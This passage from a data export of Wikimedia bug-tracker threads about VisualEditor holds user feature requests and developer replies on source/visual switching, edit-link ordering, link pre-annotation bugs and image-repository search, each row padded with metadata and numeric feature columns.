If you want to switch (say you started in Visual, but you want to switch to source to get something fancy working), you have to either discard your changes or save a partial edit in visual and create a second edit in source. What I want to see is a means of switching between the two at will within the same edit. Wordpress does something similar where you can type up a blog post to switch between visual rendering and HTML source using tabs surrounding the edit window. You can switch between visual and HTML at will and each will be updated. I want to see the same thing with the Wikipedia VisualEditor. -Thunderforge (talk) 21:32, 6 July 2013 (UTC)

AND

They don't necessarily have to both be visible at the same time (in fact, that might be somewhat confusing and perhaps wouldn't work well on mobile devices and tablets if the VisualEditor is going to be used there). But I would like some way to switch between the two without having to discard an edit. Again, the tabs on the edit window that Wordpress uses are one excellent way to do this: they allow the edit space to be swapped out, providing a compact way to easily switch. A picture of it can be found here. -Thunderforge (talk) 21:40, 6 July 2013 (UTC)"
254652,Compatiblity between the two editors,"Examples of articles where I need to use both? That would be any article where I'm trying to manipulate citations (move/add/append/improve) or with templates; as well as doing some general editing.


Example of what I want? A button saying ""View this in the old editor"", and clicking on that gets you the same article, including any changes you made, in the old editor. Alternately, you could display the same button in the preview mode when you're viewing the article",,,1372935534,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.0,1.5,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,1.0,3.5,0.0,0.0,1.5,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,6.5,0.5,5.5,2.0,1.5,11.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,5.5,7.0,0.0,1.0,2.0,0.0,5.5,0.0,2.5,0.5,0.0,5.0,0.0,0.0,0.0,3.8727450980392155,0.7217647058823529,"Examples of articles where I need to use both? That would be any article where I'm trying to manipulate citations (move/add/append/improve) or with templates; as well as doing some general editing.


Example of what I want? A button saying ""View this in the old editor"", and clicking on that gets you the same article, including any changes you made, in the old editor. Alternately, you could display the same button in the preview mode when you're viewing the article"
254649,Compatiblity between the two editors,Can you provide some more specific examples?,,,1372931394,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,True,,,0,,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.75,1.0,Can you provide some more specific examples?
52688,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"Copied:
For logged in user, can there be a formatting preference to display [edit | edit source] as [edit source | edit]? --J. D. Redding 18:47, 3 July 2013 (UTC)

The user finds it frustrating that he keeps inadvertently selecting ""edit""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",Low,25.0,1372879860,1380214284.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-kpw2y2iowrttt6zxpjia,task_description,invalid,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,14.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,6.0,8.0,1.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,4.0,3.5421686746987953,0.6385542168674698,"Copied:
For logged in user, can there be a formatting preference to display [edit | edit source] as [edit source | edit]? --J. D. Redding 18:47, 3 July 2013 (UTC)

The user finds it frustrating that he keeps inadvertently selecting ""edit""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
254174,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"(In reply to comment #5)
> I don't think a user preference is appropriate here.
> 
> Given the resolution of bug 50540, I'm not sure there's anything actionable
> here.

Concurred; closing as INVALID.",,,1380214284,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.1739130434782608,0.7391304347826086,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

Concurred; closing as INVALID."
254167,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I don't think a user preference is appropriate here.

Given the resolution of bug 50540, I'm not sure there's anything actionable here.",,,1380209341,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,12,,0.0,3.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9655172413793105,0.896551724137931,"I don't think a user preference is appropriate here.

Given the resolution of bug 50540, I'm not sure there's anything actionable here."
254159,VisualEditor: User preference for reversing the order of [edit | edit source] section links,A better solution would be the one suggested at bug 50540.,,,1373324983,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,4.0,1.0,A better solution would be the one suggested at bug 50540.
254152,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I agree that we need to resolve this somehow, since the current hover interface has also been pointed out as a problem on touch devices (e.g. tablets).",,,1373324915,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,19.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,19.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.032258064516129,1.0,"I agree that we need to resolve this somehow, since the current hover interface has also been pointed out as a problem on touch devices (e.g. tablets)."
254145,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I think it is a fairly high priority. It would keep a lot of users (such as me) from turning off the visual editor altogether. Many people are turning off the VE due to this problem. More and more people are saying this here:
[[Wikipedia:VisualEditor/Feedback]]

I want instant direct access to the ""edit source"" link. I want the ""edit"" link to be the one that is hidden. 

Better yet would be an option to display both links directly without any hover effects. When I want to click either link I do not want to waste one millisecond finding the link, or thinking I may screw up again, and hit the wrong link. 

Think gaming, ping, lag time, and even slightly experienced Wikipedia editors wanting to get things done faster.",,,1372897059,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.5,0.5,0.5,6.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,4.0,0.0,6.5,8.5,0.0,3.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,1.0,5.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,14.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,5.5,3.5,9.5,0.5,3.5,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.0,8.5,2.5,0.0,2.0,0.0,5.0,0.0,1.0,1.5,0.5,3.5,2.0,0.0,1.0,3.7155864197530866,0.7143518518518519,"I think it is a fairly high priority. It would keep a lot of users (such as me) from turning off the visual editor altogether. Many people are turning off the VE due to this problem. More and more people are saying this here:
[[Wikipedia:VisualEditor/Feedback]]

I want instant direct access to the ""edit source"" link. I want the ""edit"" link to be the one that is hidden. 

Better yet would be an option to display both links directly without any hover effects. When I want to click either link I do not want to waste one millisecond finding the link, or thinking I may screw up again, and hit the wrong link. 

Think gaming, ping, lag time, and even slightly experienced Wikipedia editors wanting to get things done faster."
254138,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"We can do this, but I don't think it's as high priority as a number if others. Marking as such.",,,1372886254,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.04,0.84,"We can do this, but I don't think it's as high priority as a number if others. Marking as such."
52678,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","what it says on the tin; if you remove the first character from [[foo]] to change it to [[moo]], what you actually end up with is m[[oo]].

See also:
* T52745
* T52945
* T55495
* T52452",Low,25.0,1372872240,1600713579.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-oqqiylk3iqavc5qnj32p,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,14.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.75,0.6607142857142857,"what it says on the tin; if you remove the first character from [[foo]] to change it to [[moo]], what you actually end up with is m[[oo]].

See also:
* T52745
* T52945
* T55495
* T52452"
1584735,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","This was fixed by the work on link cartouches (the blue highlights that appear when you place the cursor or select text inside a link) in T91285.
{F32358209}",,,1600713579,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,True,,,377,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,24.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,9.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8529411764705883,0.9117647058823529,"This was fixed by the work on link cartouches (the blue highlights that appear when you place the cursor or select text inside a link) in T91285.
{F32358209}"
454944,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","In the weekly triage meeting on 2015-05-06, we discussed this task. We acknowledge that this industry standard manner of operation for editors can lead to some poor outcomes, but as written this isn't actionable and we feel that the issue is not as high priority as the other user-facing work that we need to get done this quarter, so we rejected it as a piece of work for Q4.",,,1430945493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,True,,,96,,1.0,0.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,6.0,0.0,5.0,16.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,16.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,2.0,4.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,7.0,16.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.802469135802469,0.7160493827160493,"In the weekly triage meeting on 2015-05-06, we discussed this task. We acknowledge that this industry standard manner of operation for editors can lead to some poor outcomes, but as written this isn't actionable and we feel that the issue is not as high priority as the other user-facing work that we need to get done this quarter, so we rejected it as a piece of work for Q4."
253555,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","comment from Elitre on bug 53210:
Seems I had written about it in an unrelated bug, sorry. This happens on itwp:
in order to do this
http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990
I had to delete the word and link it back again. Our guidelines about style
require pages in that section to appear with the capital letter, so we need to
be able to fix that easily.

It is also reported on en.wp, the user states <<When trying to correct a
lower-case letter to a capital letter at the beginning of a link, I deleted the
lower-case letter and found I couldn't type a capital letter and have it become
part of the link, nor could I seem to extend the link over the capital.
Eventually, I typed the capital after the lower-case letter and then deleted
the lower-case letter. It might be good to have some way to extend a link over
adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC)
>>
Thanks.

ps. Might be related to https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",,,1377445735,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,False,,,7,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,3.3333333333333335,9.666666666666666,0.0,3.3333333333333335,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,2.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,14.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.333333333333333,1.6666666666666667,9.0,0.3333333333333333,1.6666666666666667,8.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,1.6666666666666667,0.0,4.666666666666667,9.666666666666666,3.6666666666666665,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,2.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,3.4383561643835616,0.6712328767123288,"comment from Elitre on bug 53210:
Seems I had written about it in an unrelated bug, sorry. This happens on itwp:
in order to do this
URL
I had to delete the word and link it back again. Our guidelines about style
require pages in that section to appear with the capital letter, so we need to
be able to fix that easily.

It is also reported on en.wp, the user states <<When trying to correct a
lower-case letter to a capital letter at the beginning of a link, I deleted the
lower-case letter and found I couldn't type a capital letter and have it become
part of the link, nor could I seem to extend the link over the capital.
Eventually, I typed the capital after the lower-case letter and then deleted
the lower-case letter. It might be good to have some way to extend a link over
adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC)
QUOTE
Thanks.

ps. Might be related to URL"
253550,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.",*** Bug 53210 has been marked as a duplicate of this bug. ***,,,1377445650,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53210 has been marked as a duplicate of this bug. ***
52673,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","ve.init.mw.Platform.js currently hard-codes searching from Commons, even if the wiki doesn't actually load images from Commons. We should do this based on wiki config instead.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1372865220,1388900883.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.530612244897959,0.7346938775510204,"ve.init.mw.Platform.js currently hard-codes searching from Commons, even if the wiki doesn't actually load images from Commons. We should do this based on wiki config instead.

--------------------------
**Version**: unspecified
**Severity**: minor"
253337,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Change 102377 merged by jenkins-bot:
Use image sources from the fileRepo API

https://gerrit.wikimedia.org/r/102377",,,1388900839,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 102377 merged by jenkins-bot:
Use image sources from the fileRepo API

GERRIT_URL"
253329,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Change 102377 had a related patch set uploaded by Mooeypoo:
Use image sources from API's fileRepo

https://gerrit.wikimedia.org/r/102377",,,1387334234,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 102377 had a related patch set uploaded by Mooeypoo:
Use image sources from API's fileRepo

GERRIT_URL"
253323,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","This can now be done by using the new meta=filerepoinfo API query, which was introduced into core in gerrit 85344.",,,1380757856,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9583333333333335,1.0,"This can now be done by using the new meta=filerepoinfo API query, which was introduced into core in gerrit 85344."
253317,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","**humpface** wrote:

This was very frustrating for my work's internal wiki.  First, I didn't want any Instant Common images (and thanks to James, I was able to remove the line of code).  However, since I disabled the use of Instant Commons ($wgUseInstantCommons = false;), I was still able to search through the Instant Commons but after saving, everything showed up as a broken link.

Suggestion:
- Tie the JSON mediaSources object in ve.init.ms.Platform.js to the $wgUseInstantCommons (i.e., if Commons is turned off in LocalSettings.php, then a user can't search through the images).",,,1380067695,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,12,,0.5,1.0,0.5,1.0,1.5,4.0,2.0,0.0,0.0,1.0,3.5,1.5,0.0,0.0,0.0,3.0,0.0,4.5,12.0,1.0,1.5,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,12.0,1.5,1.5,7.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,3.9870711725550434,0.7761136712749616,"**humpface** wrote:

This was very frustrating for my work's internal wiki.  First, I didn't want any Instant Common images (and thanks to James, I was able to remove the line of code).  However, since I disabled the use of Instant Commons ($wgUseInstantCommons = false;), I was still able to search through the Instant Commons but after saving, everything showed up as a broken link.

Suggestion:
- Tie the JSON mediaSources object in ve.init.ms.Platform.js to the $wgUseInstantCommons (i.e., if Commons is turned off in LocalSettings.php, then a user can't search through the images)."
253312,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","(In reply to comment #1)
> Ideally we'd avoid hardcoding Commons entirely and instead of exporting
> isInstantCommons, we'd export fileRepos.

Indeed; that was what I was thinking when I wrote this bug. Title modified to be clearer.",,,1374157001,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,21.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,3.242424242424242,0.8181818181818182,"(In reply to comment #1)
QUOTE
QUOTE

Indeed; that was what I was thinking when I wrote this bug. Title modified to be clearer."
253309,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Ideally we'd avoid hardcoding Commons entirely and instead of exporting isInstantCommons, we'd export fileRepos. That should be almost as easy to do and would fix other things as well:

